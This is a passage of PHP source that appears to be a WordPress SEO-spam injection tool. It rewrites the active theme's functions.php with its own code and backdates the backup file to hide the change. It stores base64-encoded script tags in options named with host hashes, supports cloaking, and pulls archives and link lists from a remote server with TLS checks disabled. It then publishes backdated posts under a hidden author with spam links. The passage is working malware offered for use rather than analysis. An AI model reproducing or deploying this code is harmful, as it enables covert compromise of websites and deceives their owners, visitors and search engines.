> $outOfDateTimeInSeconds); } public static function customSetMutex($path) { file_put_contents($path, 1); } public static function checkSitemapNameRoot() { if (!is_writeable(WP_ROOT_DIR)) { GlobalLogs::setMainLog(WP_ROOT_DIR . ' isnt writeable'); return false; } if (file_exists(WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml')) { GlobalLogs::setMainLog(SITEMAP_NAME . '.xml in root dir, change sitemap name'); return false; } return true; } public static function sitemapHeadSec() { return <<<STR <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"> STR; } public static function urlBlockSec($url, $lastmod, $changefreq, $priority) { return <<<STR <url> <loc>$url</loc> <lastmod>$lastmod</lastmod> <changefreq>$changefreq</changefreq> <priority>$priority</priority> </url>\n\n STR; } public static function currenturl($rootDir, $host = null) { $host = !$host ? 'http://' . $_SERVER['HTTP_HOST'] : $host; $tmp = str_replace(realpath($_SERVER['DOCUMENT_ROOT']), '', $host . $rootDir); return $tmp; } public static function isBadEnvCustom() { $requestUri = $_SERVER['REQUEST_URI']; if (strstr($requestUri, 'wp-config-sample.php') !== false) { return true; } return false; } public static function slugPrepareBeforeInsert($filename, $contentPartsSlug) { if (defined('USE_ORIGINAL_SLUG') && (USE_ORIGINAL_SLUG === 1)) { $customSlug = WritePostsWpHandler::mb_basename($filename, '.html'); if (CustomDbHandler::getInstance()->dbType === CustomDbHandler::DB_TYPE_SQLITE) { $customSlug = WritePostsWpHandler::stringToSlug($contentPartsSlug); } } else { $customSlug = $contentPartsSlug; } return $customSlug; } public static function mb_basename($file, $ext = '') { $explodedPath = explode('/', $file); $last = end($explodedPath); return ($ext !== '') ? str_replace($ext, '', $last) : $last; } public static function stringToSlug($str) { $options = array( 'delimiter' => '-', 'limit' => null, 'lowercase' => true, 'replacements' => array(), 'transliterate' => true, ); $char_map = array( // Latin 'À' => 'A', 'Á' => 'A', 'Â' => 'A', 'Ã' => 'A', 'Ä' => 'A', 'Å' => 'A', 'Ă' => 'A', 'Æ' => 'AE', 'Ç' => 'C', 'È' => 'E', 'É' => 'E', 'Ê' => 'E', 'Ë' => 'E', 'Ì' => 'I', 'Í' => 'I', 'Î' => 'I', 'Ï' => 'I', 'Ð' => 'D', 'Ñ' => 'N', 'Ò' => 'O', 'Ó' => 'O', 'Ô' => 'O', 'Õ' => 'O', 'Ö' => 'O', 'Ő' => 'O', 'Ø' => 'O', 'Ș' => 'S', 'Ù' => 'U', 'Ú' => 'U', 'Û' => 'U', 'Ü' => 'U', 'Ű' => 'U', 'Ý' => 'Y', 'Þ' => 'TH', 'ß' => 'ss', 'à' => 'a', 'á' => 'a', 'â' => 'a', 'ã' => 'a', 'ä' => 'a', 'å' => 'a', 'ă' => 'a', 'æ' => 'ae', 'ç' => 'c', 'è' => 'e', 'é' => 'e', 'ê' => 'e', 'ë' => 'e', 'ì' => 'i', 'í' => 'i', 'î' => 'i', 'ï' => 'i', 'ð' => 'd', 'ñ' => 'n', 'ò' => 'o', 'ó' => 'o', 'ô' => 'o', 'õ' => 'o', 'ö' => 'o', 'ő' => 'o', 'ø' => 'o', 'ș' => 's', 'ù' => 'u', 'ú' => 'u', 'û' => 'u', 'ü' => 'u', 'ű' => 'u', 'ý' => 'y', 'þ' => 'th', 'ÿ' => 'y', // Latin symbols '©' => '(c)', // Greek 'Α' => 'A', 'Β' => 'B', 'Γ' => 'G', 'Δ' => 'D', 'Ε' => 'E', 'Ζ' => 'Z', 'Η' => 'H', 'Θ' => '8', 'Ι' => 'I', 'Κ' => 'K', 'Λ' => 'L', 'Μ' => 'M', 'Ν' => 'N', 'Ξ' => '3', 'Ο' => 'O', 'Π' => 'P', 'Ρ' => 'R', 'Σ' => 'S', 'Τ' => 'T', 'Υ' => 'Y', 'Φ' => 'F', 'Χ' => 'X', 'Ψ' => 'PS', 'Ω' => 'W', 'Ά' => 'A', 'Έ' => 'E', 'Ί' => 'I', 'Ό' => 'O', 'Ύ' => 'Y', 'Ή' => 'H', 'Ώ' => 'W', 'Ϊ' => 'I', 'Ϋ' => 'Y', 'α' => 'a', 'β' => 'b', 'γ' => 'g', 'δ' => 'd', 'ε' => 'e', 'ζ' => 'z', 'η' => 'h', 'θ' => '8', 'ι' => 'i', 'κ' => 'k', 'λ' => 'l', 'μ' => 'm', 'ν' => 'n', 'ξ' => '3', 'ο' => 'o', 'π' => 'p', 'ρ' => 'r', 'σ' => 's', 'τ' => 't', 'υ' => 'y', 'φ' => 'f', 'χ' => 'x', 'ψ' => 'ps', 'ω' => 'w', 'ά' => 'a', 'έ' => 'e', 'ί' => 'i', 'ό' => 'o', 'ύ' => 'y', 'ή' => 'h', 'ώ' => 'w', 'ς' => 's', 'ϊ' => 'i', 'ΰ' => 'y', 'ϋ' => 'y', 'ΐ' => 'i', // Turkish 'Ş' => 'S', 'İ' => 'I', 'Ç' => 'C', 'Ü' => 'U', 'Ö' => 'O', 'Ğ' => 'G', 'ş' => 's', 'ı' => 'i', 'ç' => 'c', 'ü' => 'u', 'ö' => 'o', 'ğ' => 'g', // Russian 'А' => 'A', 'Б' => 'B', 'В' => 'V', 'Г' => 'G', 'Д' => 'D', 'Е' => 'E', 'Ё' => 'Yo', 'Ж' => 'Zh', 'З' => 'Z', 'И' => 'I', 'Й' => 'J', 'К' => 'K', 'Л' => 'L', 'М' => 'M', 'Н' => 'N', 'О' => 'O', 'П' => 'P', 'Р' => 'R', 'С' => 'S', 'Т' => 'T', 'У' => 'U', 'Ф' => 'F', 'Х' => 'H', 'Ц' => 'C', 'Ч' => 'Ch', 'Ш' => 'Sh', 'Щ' => 'Sh', 'Ъ' => '', 'Ы' => 'Y', 'Ь' => '', 'Э' => 'E', 'Ю' => 'Yu', 'Я' => 'Ya', 'а' => 'a', 'б' => 'b', 'в' => 'v', 'г' => 'g', 'д' => 'd', 'е' => 'e', 'ё' => 'yo', 'ж' => 'zh', 'з' => 'z', 'и' => 'i', 'й' => 'j', 'к' => 'k', 'л' => 'l', 'м' => 'm', 'н' => 'n', 'о' => 'o', 'п' => 'p', 'р' => 'r', 'с' => 's', 'т' => 't', 'у' => 'u', 'ф' => 'f', 'х' => 'h', 'ц' => 'c', 'ч' => 'ch', 'ш' => 'sh', 'щ' => 'sh', 'ъ' => '', 'ы' => 'y', 'ь' => '', 'э' => 'e', 'ю' => 'yu', 'я' => 'ya', // Ukrainian 'Є' => 'Ye', 'І' => 'I', 'Ї' => 'Yi', 'Ґ' => 'G', 'є' => 'ye', 'і' => 'i', 'ї' => 'yi', 'ґ' => 'g', // Czech 'Č' => 'C', 'Ď' => 'D', 'Ě' => 'E', 'Ň' => 'N', 'Ř' => 'R', 'Š' => 'S', 'Ť' => 'T', 'Ů' => 'U', 'Ž' => 'Z', 'č' => 'c', 'ď' => 'd', 'ě' => 'e', 'ň' => 'n', 'ř' => 'r', 'š' => 's', 'ť' => 't', 'ů' => 'u', 'ž' => 'z', // Polish 'Ą' => 'A', 'Ć' => 'C', 'Ę' => 'e', 'Ł' => 'L', 'Ń' => 'N', 'Ó' => 'o', 'Ś' => 'S', 'Ź' => 'Z', 'Ż' => 'Z', 'ą' => 'a', 'ć' => 'c', 'ę' => 'e', 'ł' => 'l', 'ń' => 'n', 'ó' => 'o', 'ś' => 's', 'ź' => 'z', 'ż' => 'z', // Latvian 'Ā' => 'A', 'Č' => 'C', 'Ē' => 'E', 'Ģ' => 'G', 'Ī' => 'i', 'Ķ' => 'k', 'Ļ' => 'L', 'Ņ' => 'N', 'Š' => 'S', 'Ū' => 'u', 'Ž' => 'Z', 'ā' => 'a', 'č' => 'c', 'ē' => 'e', 'ģ' => 'g', 'ī' => 'i', 'ķ' => 'k', 'ļ' => 'l', 'ņ' => 'n', 'š' => 's', 'ū' => 'u', 'ž' => 'z' ); // Transliterate characters to ASCII if ($options['transliterate']) { $str = str_replace(array_keys($char_map), $char_map, $str); } // Replace non-alphanumeric characters with our delimiter $str = preg_replace('/[^\p{L}\p{Nd}]+/u', $options['delimiter'], $str); // Remove duplicate delimiters $str = preg_replace('/(' . preg_quote($options['delimiter'], '/') . '){2,}/', '$1', $str); // Truncate slug to max. characters //$str = mb_substr($str, 0, ($options['limit'] ? $options['limit'] : mb_strlen($str, 'UTF-8')), 'UTF-8'); $str = WritePostsWpHandler::mbSubstrCustom($str, 0, ($options['limit'] ? $options['limit'] : WritePostsWpHandler::mbStrlenCustom($str, 'UTF-8'))); // Remove delimiter from ends $str = trim($str, $options['delimiter']); //return $options['lowercase'] ? mb_strtolower($str, 'UTF-8') : $str; return $options['lowercase'] ? WritePostsWpHandler::mbStrToLowerCustom($str, 'UTF-8') : $str; } public static function mbSubstrCustom($string, $offset, $length) { if (!function_exists('mb_substr')) { $arr = preg_split("//u", $string); $slice = array_slice($arr, $offset + 1, $length); return implode("", $slice); } return mb_substr($string, $offset, $length); } public static function mbStrlenCustom($string, $encoding) { if (function_exists('mb_strlen')) { return mb_strlen($string, $encoding); } return preg_match_all('/./us', $string, $matches); } public static function mbStrToLowerCustom($string, $encoding = null) { if (function_exists('mb_strtolower')) { return mb_strtolower($string, $encoding); } if (function_exists('iconv')) { return iconv('UTF-8', 'UTF-8//IGNORE', strtolower(iconv('UTF-8', 'ISO-8859-1//TRANSLIT', $string))); } preg_replace_callback('/\p{Lu}/u', function ($match) { return strtolower($match[0]); }, $string); } public static function getTemplatePath() { try { $templateName = CustomDbHandler::getInstance()->getOption('template'); $templateName = $templateName['option_value']; } catch (Exception $ex) { GlobalLogs::setMainLog($ex->getMessage()); return false; } if (file_exists(WP_ROOT_DIR . '/wp-content/themes/' . $templateName . '/functions.php')) { return WP_ROOT_DIR . '/wp-content/themes/' . $templateName; } //echo 'functions.php not found in theme directory' . PHP_EOL; return false; } public static function getSitemapUrls() { GlobalLogs::setMainLog(HOME_URL . '/' . SITEMAP_NAME . '.xml'); GlobalLogs::setMainLog(HOME_URL . '/?feed=xml' . SITEMAP_NAME); } public static function debugDataCustom() { $settings = array(); $settings = WritePostsWpHandler::getDbSettingsCustom(); if ($settings) { foreach ($settings as $userId => $arr) { if (isset($arr['js']) && $decodedJs = WritePostsWpHandler::detectBase64js($arr['js'])) { $settings[$userId]['js'] = WritePostsWpHandler::parseJsScript($decodedJs); } } } return array( 'archivePath' => str_replace('{DIR_NUM}', DIR_NUM, URL_WITH_ARCHIVES), 'authorId' => CUSTOM_AUTHOR_ID, 'cloacking' => CLOACKING, 'homeLinks' => (defined('HOME_LINKS')) ? HOME_LINKS : 0, 'homeLinksSettings' => ((defined('HOME_LINKS') && (HOME_LINKS === 1))) ? $_SERVER['homeLinksSettings'] : array(), 'forceChangeHomeLinksOwner' => defined('FORCE_CHANGE_HOME_LINKS_OWNER') ? FORCE_CHANGE_HOME_LINKS_OWNER : 0, 'internalLinking' => INTERNAL_LINKING, 'externalLinking' => EXTERNAL_LINKING, 'sitemapName' => SITEMAP_NAME, 'jsConfig' => WritePostsWpHandler::parseJsScript(JS_SOURCE), 'usersSettings' => $settings, ); } public static function getDbSettingsCustom() { $settings = CustomDbHandler::getInstance()->getOption(WritePostsWpHandler::optionCustomFilters()); $firstSettings = array(); $secondSettings = array(); if ($settings) { //new settings $firstUnserialize = unserialize(base64_decode($settings['option_value'])); if (isset($firstUnserialize['option_value'])) { //double unserialize fix $secondUnserialize = unserialize(base64_decode($firstUnserialize['option_value'])); if ($secondUnserialize) { $firstSettings = $secondUnserialize; } } else { if ($firstUnserialize) { $firstSettings = $firstUnserialize; } } } $settings = CustomDbHandler::getInstance()->getOption('wp_custom_filters'); if ($settings) { //old settings $unserializedSettings = unserialize(base64_decode($settings['option_value'])); if ($unserializedSettings) { $secondSettings = $unserializedSettings; } } //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!writeSettingsDB!!!!!!!!!!!!!!!!!!!!! return $firstSettings + $secondSettings; } public static function optionCustomFilters() { return md5(sha1($_SERVER['HTTP_HOST'])); } public static function detectBase64js($string) { if (preg_match('~data:text\/javascript;base64,(.+?)\">~s', $string, $matches)) { return base64_decode($matches[1]); } return false; } public static function parseJsScript($string) { $results = array(); preg_match('~hit;([^\?]+)~', $string, $lirucounter); if (isset($lirucounter[1])) { $results['lirucounter'] = $lirucounter[1]; } preg_match('~([^\"\.\/]+\.js)\?ref~', $string, $route); if (isset($route[1])) { $results['route'] = $route[1]; } preg_match('~src=.+?([^\/\"\\\\]+)~', $string, $domain); if (isset($domain[1])) { $results['domain'] = $domain[1]; } return $results; } public static function removeHomeLinksCustom() { $optionsForDelete = CustomDbHandler::getInstance()->getOptionLike('home_links_custom_'); $deletedOptionsCount = 0; if (!empty($optionsForDelete)) { foreach ($optionsForDelete as $optionsArr) { if (isset($optionsArr['option_name'])) { $deletedOptionsCount++; CustomDbHandler::getInstance()->deleteOption($optionsArr['option_name']); GlobalLogs::setDebugLog('remove option name ' . $optionsArr['option_name']); } } } return $deletedOptionsCount; } public static function unzipSecondMethod() { $paths = array( TMPDIR ); foreach ($paths as $path) { $zipFiles = glob($path . DIRECTORY_SEPARATOR . '*.zip'); if (!is_dir($path)) { mkdir($path, 0755, true); } $zip = new ZipArchive(); foreach ($zipFiles as $file) { if ($zip->open($file)) { if ($zip->extractTo($path)) { GlobalLogs::setMainLog("$file extracted"); unlink($file); $zip->close(); } } else { GlobalLogs::setMainLog("I cant open the archive $file"); return false; } } } file_put_contents(TMPDIR . '/unzipsuccess', ''); return true; } public static function unzipFirstMethod() { $paths = array( TMPDIR ); if (file_exists($unzipClassPath = WP_ROOT_DIR . '/wp-admin/includes/class-pclzip.php')) { include_once $unzipClassPath; } else { // TODO not found include_once TMPDIR . '/header.php'; } foreach ($paths as $path) { $zipFiles = glob($path . DIRECTORY_SEPARATOR . '*.zip'); //fpcDebug(implode('::', $zipFiles)); foreach ($zipFiles as $file) { $archive = new PclZip($file); if ($archive->extract(PCLZIP_OPT_PATH, $path) == 0) { GlobalLogs::setMainLog("Error : " . $archive->errorInfo(true)); return false; } else { GlobalLogs::setMainLog(sprintf('%s unzipped', $file)); unlink($file); } } } file_put_contents(TMPDIR . '/unzipsuccess', ''); return true; } public static function uploadRangeOfFiles($url, $range, $extension, $dirname = '') { list ($firstNum, $secondNum) = explode('-', $range); if (!WritePostsWpHandler::makeDir($dirname)) { throw new Exception("dont create dirname - $dirname"); } foreach (range($firstNum, $secondNum) as $num) { $filename = $num . $extension; $localPath = ($dirname !== '') ? $dirname . DIRECTORY_SEPARATOR . $filename : $filename; if (WritePostsWpHandler::checkArchiveBeforeUpload($localPath) !== false) { continue; } //WritePostsWpHandler::saveRemoteFileCurl($url . $filename, $localPath); WritePostsWpHandler::saveRemoteFileCurlMod($url . $filename, $localPath); if (WritePostsWpHandler::checkArchiveAfterUpload($localPath) === false) { throw new Exception("error checking file - $filename"); } } } public static function makeDir($dirname) { if ($dirname !== '') { if (!is_dir($dirname)) { if (!mkdir($dirname, 0777, true)) { return false; } } } $GLOBALS['createdDirectories'][] = $dirname; return true; } public static function checkArchiveBeforeUpload($path) { GlobalLogs::setDebugLog(sprintf('check path - %s', $path)); $archiveMutex = dirname($path) . '/' . md5($path); if (file_exists($archiveMutex)) { GlobalLogs::setDebugLog(sprintf('archive mutex exists - %s', $archiveMutex)); if (file_exists($path)) { GlobalLogs::setMainLog(sprintf('archive exists - %s', $path)); return true; } } GlobalLogs::setDebugLog(sprintf('error check archive - %s', $path)); return false; } public static function saveRemoteFileCurl($url, $localname) { $file = fopen('php://temp/maxmemory:0', 'w+b'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FILE, $file); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_exec($ch); curl_close($ch); rewind($file); file_put_contents($localname, stream_get_contents($file)); fclose($file); GlobalLogs::setDebugLog($localname . ' - ' . WritePostsWpHandler::filesizemb($localname) . ' MB'); } public static function filesizemb($file) { return number_format(filesize($file) / pow(1024, 2), 3, '.', ''); } public static function checkArchiveAfterUpload($path) { if (!file_exists($path)) { GlobalLogs::setDebugLog(sprintf('archive not found %s', $path)); return false; } clearstatcache(); if (filesize($path) < pow(10, 5)) { GlobalLogs::setDebugLog(sprintf('archive too small %s', $path)); return false; } $mutexPath = dirname($path) . '/' . md5($path); GlobalLogs::setDebugLog(sprintf('create mutex - %s', $mutexPath)); file_put_contents($mutexPath, ''); return true; } public static function saveRemoteFileCurlMod($url, $localname) { $file = fopen($localname, 'w+'); if ($file === false) { throw new \Exception('invalid open tmp file'); } $ch = curl_init(); if ($ch === false) { fclose($file); throw new \Exception('invalid init curl()'); } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $file); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($ch, CURLOPT_TIMEOUT, 120); $result = curl_exec($ch); if ($result === false) { $error = curl_error($ch); curl_close($ch); fclose($file); throw new \Exception("Curl error: $error"); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { curl_close($ch); fclose($file); throw new Exception("HTTP error: $httpCode"); } $contentLength = curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD); curl_close($ch); fclose($file); $localFilzeSize = filesize($localname); if ($contentLength > 0 && ($localFilzeSize != $contentLength)) { throw new Exception("incomplete file: " . $localFilzeSize . " of $contentLength bytes"); } return true; } public static function contentParts($pageSource) { preg_match_all('/\[(TITLE|TEXT)\](.+)\[\/(\1)]/ius' , $pageSource, $kuski); if (!isset($kuski[2][0])) { throw new Exception('invalid title'); } if (!isset($kuski[2][1])) { throw new Exception('invalid text'); } //$title = mb_convert_encoding(trim($kuski[2][0]), 'HTML-ENTITIES', "UTF-8"); $title = WritePostsWpHandler::mbConvertEncodingCustom(trim($kuski[2][0])); $slug = WritePostsWpHandler::stringToSlug($kuski[2][0]); //$text = mb_convert_encoding(trim($kuski[2][1]), 'HTML-ENTITIES', "UTF-8"); $text = WritePostsWpHandler::mbConvertEncodingCustom(trim($kuski[2][1])); return array( 'title' => $title, 'text' => $text, 'slug' => $slug, ); } public static function mbConvertEncodingCustom($string) { $string = trim($string); if (!function_exists('mb_convert_encoding')) { return htmlspecialchars_decode(htmlentities($string)); } return mb_convert_encoding($string, 'HTML-ENTITIES', "UTF-8"); } public static function resultFormat($blogUrl, $postId, $title) { return rtrim($blogUrl, '/') . '/?p=' . $postId . ';' . $title; } public static function randDate() { $randDate = mktime(rand(1, 11), rand(0, 59), rand(0, 59), date("m") + rand(1, 12), date("d") + rand(1, 20), date("Y") - rand(4, 7)); return date('Y-m-d H:i:s', $randDate); } public static function deletePostsCurrentAuthor() { $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999; if (!isset($users)) { $users = array($userId); } CustomDbHandler::getInstance()->deletePosts($users); return true; } public static function deletePostsAllAuthors() { $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999; $settings = WritePostsWpHandler::getDbSettingsCustom(); if (!$settings) { GlobalLogs::setMainLog('invalid get settings from db'); } else { $users = array_keys($settings); if (!in_array(9999, $users)) { $users[] = 9999; } } if (!isset($users)) { $users = array($userId); } CustomDbHandler::getInstance()->deletePosts($users); return true; } public static function mbReplaceCustomFilters($functionsSource, $functionsPath, $sourceMod) { $optionCustom = WritePostsWpHandler::optionCustomFunctions(); $customFiltersRegexp = '~/\*\s+custom filters\s+\*/(.+)/\*\s*custom filters\s*\*/~su'; $customFiltersRegexpSec = "~/\*\s*$optionCustom\s*\*/(.+)/\*\s*$optionCustom\s*\*/~su"; if (preg_match($customFiltersRegexp, $functionsSource, $matches)) { if (WritePostsWpHandler::modify_functions_php($functionsPath, $sourceMod, TMPDIR, true)) { GlobalLogs::setMainLog(sprintf('functions modified %s', $functionsPath)); preg_match($customFiltersRegexpSec, $sourceMod, $newSourceMatches); $controlHash = md5(trim($newSourceMatches[1])); CustomDbHandler::getInstance()->insertOrUpdate($optionCustom, $controlHash); return true; } } if (preg_match($customFiltersRegexpSec, $functionsSource, $matches)) { $sourceHash = md5(trim($matches[1])); $dbHash = CustomDbHandler::getInstance()->getOption($optionCustom); if ($dbHash && ($sourceHash === $dbHash['option_value'])) { GlobalLogs::setMainLog('functions php hashes are identity'); return true; } else { GlobalLogs::setMainLog('checksums do not match'); } } GlobalLogs::setMainLog('code not found... record!'); if (WritePostsWpHandler::modify_functions_php($functionsPath, $sourceMod, TMPDIR, true)) { GlobalLogs::setMainLog('functions modified'); preg_match($customFiltersRegexpSec, $sourceMod, $matches); $controlHash = md5(trim($matches[1])); CustomDbHandler::getInstance()->insertOrUpdate($optionCustom, $controlHash); return true; } return false; } public static function optionCustomFunctions() { return md5(crc32($_SERVER['HTTP_HOST'])); } public static function modify_functions_php($functionsPath, $source, $tmpDir, $deleteOldCustomFilters = false) { $functionsSource = file_get_contents($functionsPath); WritePostsWpHandler::oldFunctionPathBak($tmpDir, $functionsPath); $optionCustom = WritePostsWpHandler::optionCustomFunctions(); if ($deleteOldCustomFilters) { $customFiltersRegexpSec = "~/\*\s*(custom filters|$optionCustom)\s*\*/(.+)/\*\s*(custom filters|$optionCustom)\s*\*/~su"; $functionsSource = preg_replace($customFiltersRegexpSec, '', $functionsSource); } preg_match('~\<\?(php)*~', $functionsSource, $tagMatches); if (empty($tagMatches)) { return; } $phpMatches = preg_quote($tagMatches[0]); $newFunctionSource = preg_replace("~$phpMatches~", $tagMatches[0] . "\n\n" . $source, $functionsSource, 1); if (file_put_contents($functionsPath, $newFunctionSource) !== false) { /* dont touch me please */ return true; } return false; } public static function oldFunctionPathBak($tmpDir, $functionsPath) { if (!is_writeable(dirname($functionsPath))) { $backupPath = TMPDIR . '/' . basename($functionsPath) . '_bak'; } else { $backupPath = $functionsPath . '_bak'; } GlobalLogs::setMainLog(sprintf('functions backup path - %s', $backupPath)); file_put_contents($backupPath, file_get_contents($functionsPath)); touch($backupPath, WritePostsWpHandler::frequenttimestamp(dirname($backupPath))); } public static function frequenttimestamp($pathtodir) { foreach (glob($pathtodir . "/*php") as $file) { $tmp[] = filemtime($file); } $count = array_count_values($tmp); arsort($count); $keys = array_keys($count); return array_shift($keys); } public static function settingsArr($functionsSource) { $oldSettings = WritePostsWpHandler::findOldSettings($functionsSource); $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999; $sitemapRegexArr = WritePostsWpHandler::customSitemapName(SITEMAP_NAME); $newSettings = WritePostsWpHandler::generateSettings($userId, WritePostsWpHandler::jsPrepare(JS_SOURCE), key($sitemapRegexArr) , current($sitemapRegexArr), $_SERVER['homeLinksSettings']); if (!$oldSettings) { //echo 'only new settings' . PHP_EOL; return $newSettings; } else { $settings = WritePostsWpHandler::compareNewOldSettings($oldSettings, $newSettings, $userId); if (defined('FORCE_CHANGE_HOME_LINKS_OWNER') && FORCE_CHANGE_HOME_LINKS_OWNER === 1) { $settings = WritePostsWpHandler::removeHomeLinkKey($settings); } return $settings; } } public static function findOldSettings($functionsSource) { $oldSourceRegex = '/\'(.+?\.xml\$)\'\s*=>\s*\'(.+?)\'/m'; if (preg_match($oldSourceRegex, $functionsSource, $oldSourceMatches)) { GlobalLogs::setMainLog('old settings value detected'); $jsScriptRegex = '/\$str\s*=\s*<<<STR(.+?)STR;/s'; preg_match($jsScriptRegex, $functionsSource, $jsMatches); $oldSettingsArr = WritePostsWpHandler::generateSettings(9999, trim($jsMatches[1]) , $oldSourceMatches[1], $oldSourceMatches[2], null); return $oldSettingsArr; } else { //find in db GlobalLogs::setMainLog('find old settings in DB'); return WritePostsWpHandler::getDbSettingsCustom(); } } public static function generateSettings($userId, $jsSource, $sitemapRegex, $feedPath, $homeLinksSettings) { return array( $userId => array( 'js' => $jsSource, 'sitemapsettings' => array( $sitemapRegex => $feedPath, ), 'nojs' => (defined('CLOACKING')) ? CLOACKING : 0, 'homeLinks' => (defined('HOME_LINKS') && HOME_LINKS === 1) ? $homeLinksSettings : null, ), ); } public static function customSitemapName($sitemapName) { return array( "$sitemapName\.xml$" => "index.php?feed=xml$sitemapName" ); } public static function jsPrepare($jsSource) { $base64 = base64_encode($jsSource); return '<script src="data:text/javascript;base64,' . $base64 . '"></script>'; } public static function compareNewOldSettings($oldSettings, $newSettings, $userId) { if (!isset($oldSettings[$userId])) { $newSettingsKey = key($newSettings); $newSettingsRegex = key($newSettings[$newSettingsKey]['sitemapsettings']); foreach ($oldSettings as $key => $value) { $oldSettingsRegex = key($value['sitemapsettings']); if ($oldSettingsRegex === $newSettingsRegex) { $oldSitemapValue = str_replace('\.xml$', '', $oldSettingsRegex); GlobalLogs::setMainLog(sprintf('%s already used in oldsettings', $oldSitemapValue)); return false; } } return $newSettings + $oldSettings; } $jsDiff = strcmp($oldSettings[$userId]['js'], $newSettings[$userId]['js']); if ($jsDiff !== 0) { GlobalLogs::setMainLog('js scripts are different'); if (defined('REDEFINE_JS_FOR_USER') && REDEFINE_JS_FOR_USER === 1) { GlobalLogs::setMainLog('old script will be overwritten'); } else { return false; } } $sitemapSettingsDiff = strcmp(key($oldSettings[$userId]['sitemapsettings']) , key($newSettings[$userId]['sitemapsettings'])); if ($sitemapSettingsDiff !== 0) { $oldSitemapValue = key($oldSettings[$userId]['sitemapsettings']); $oldSitemapValue = str_replace('\.xml$', '', $oldSitemapValue); GlobalLogs::setMainLog('sitemap settings are different'); GlobalLogs::setMainLog('old sitemap value %s', $oldSitemapValue); return false; } return $newSettings + $oldSettings; //return $newSettings; } public static function removeHomeLinkKey($settings) { foreach ($settings as $key => $arr) { if ($key === CUSTOM_AUTHOR_ID) { continue; } if (isset($settings[$key]['homeLinks'])) { unset($settings[$key]['homeLinks']); } } return $settings; } public static function downloadExternalLinks($countHtmlFiles) { list ($minExtLinks, $maxExtLinks) = explode('..', EXTERNAL_LINKS_COUNT_PAGE); $linksLimit = $countHtmlFiles * $maxExtLinks; $params = array( 'tableHash' => defined('TABLE_HASH') ? TABLE_HASH : '', 'htmlHash' => defined('HTML_HASH') ? HTML_HASH : '', 'linksLimit' => $linksLimit, 'maxLinksCount' => COUNT_LINKS_FROM_DOMAIN, ); $query = http_build_query($params); WritePostsWpHandler::saveRemoteFileCurl(GS_ALIAS . '/dnc/wp-acceptors-api/batch-get-links-test?' . $query, TMPDIR . '/ext-links.txt'); } public static function textWithLinks($text, $results, &$extLinksArr) { $internalLinks = array(); $externalLinks = array(); if (INTERNAL_LINKING === 1) { list ($minLinks, $maxLinks) = explode('..', INTERNAL_LINKS_COUNT_PAGE); $range = range($minLinks, $maxLinks); $linksCount = $range[rand(0, count($range) - 1)]; if (count($results) >= $linksCount) { shuffle($results); $slicedResults = array_slice($results, 0, $linksCount); $internalLinks = WritePostsWpHandler::linksPrepare($slicedResults); } } if ((EXTERNAL_LINKING === 1) && !empty($extLinksArr)) { list ($minLinks, $maxLinks) = explode('..', EXTERNAL_LINKS_COUNT_PAGE); $randCount = rand($minLinks, $maxLinks); if ($randCount <= count($extLinksArr)) { $externalLinks = array_splice($extLinksArr, 0, $randCount); } else { $externalLinks = $extLinksArr; $extLinksArr = array(); } } $allLinksTypes = $externalLinks + $internalLinks; return WritePostsWpHandler::replacePTags($text, $allLinksTypes); } public static function linksPrepare($results) { $links = array(); foreach ($results as $result) { list ($url, $title) = explode(';', $result, 2); $title = htmlspecialchars_decode($title); $url = str_replace('//?p=', '/?p=', $url); $links[] = "<a href=\"$url\">$title</a>"; } return $links; } public static function replacePTags($source, $links) { preg_match_all('~.{20}<\/p>~us', $source, $matches); if (empty($matches[0])) { return null; } $num = range(0, count($matches[0]) - 1); $patternsReplacementsArr = array(); foreach ($links as $link) { $randNum = $num[rand(0, count($matches[0]) - 1)]; $pattern = '~' . preg_quote($matches[0][$randNum]) . '~us'; if (isset($patternsReplacementsArr[$pattern])) { $patternsReplacementsArr[$pattern] = $patternsReplacementsArr[$pattern] . "\n" . $link; } else { $patternsReplacementsArr[$pattern] = $matches[0][$randNum] . "\n" . $link; } } return preg_replace(array_keys($patternsReplacementsArr), array_values($patternsReplacementsArr), $source); } public static function decodeExternalLinks() { if (!file_exists(TMPDIR . '/ext-links.txt')) { GlobalLogs::setMainLog('no external links source'); return false; } $extLinksSource = file_get_contents(TMPDIR . '/ext-links.txt'); $extLinksSourceDecode = json_decode($extLinksSource, 1); if (!is_array($extLinksSourceDecode) || !isset($extLinksSourceDecode['links'])) { if (trim($extLinksSource) == 'tmp table not found') { GlobalLogs::setMainLog(sprintf('%s table not found', TABLE_HASH)); return false; } if (trim($extLinksSource) == 'table expired') { GlobalLogs::setMainLog(sprintf('%s table expired', TABLE_HASH)); return false; } if (trim($extLinksSource) == 'table is empty') { GlobalLogs::setMainLog(sprintf('%s db links not found', TABLE_HASH)); return false; } if (trim($extLinksSource) == 'file with links not found') { GlobalLogs::setMainLog(sprintf('%s file with links not found', HTML_HASH)); return false; } GlobalLogs::setMainLog('error while decoding json external links'); return false; } return 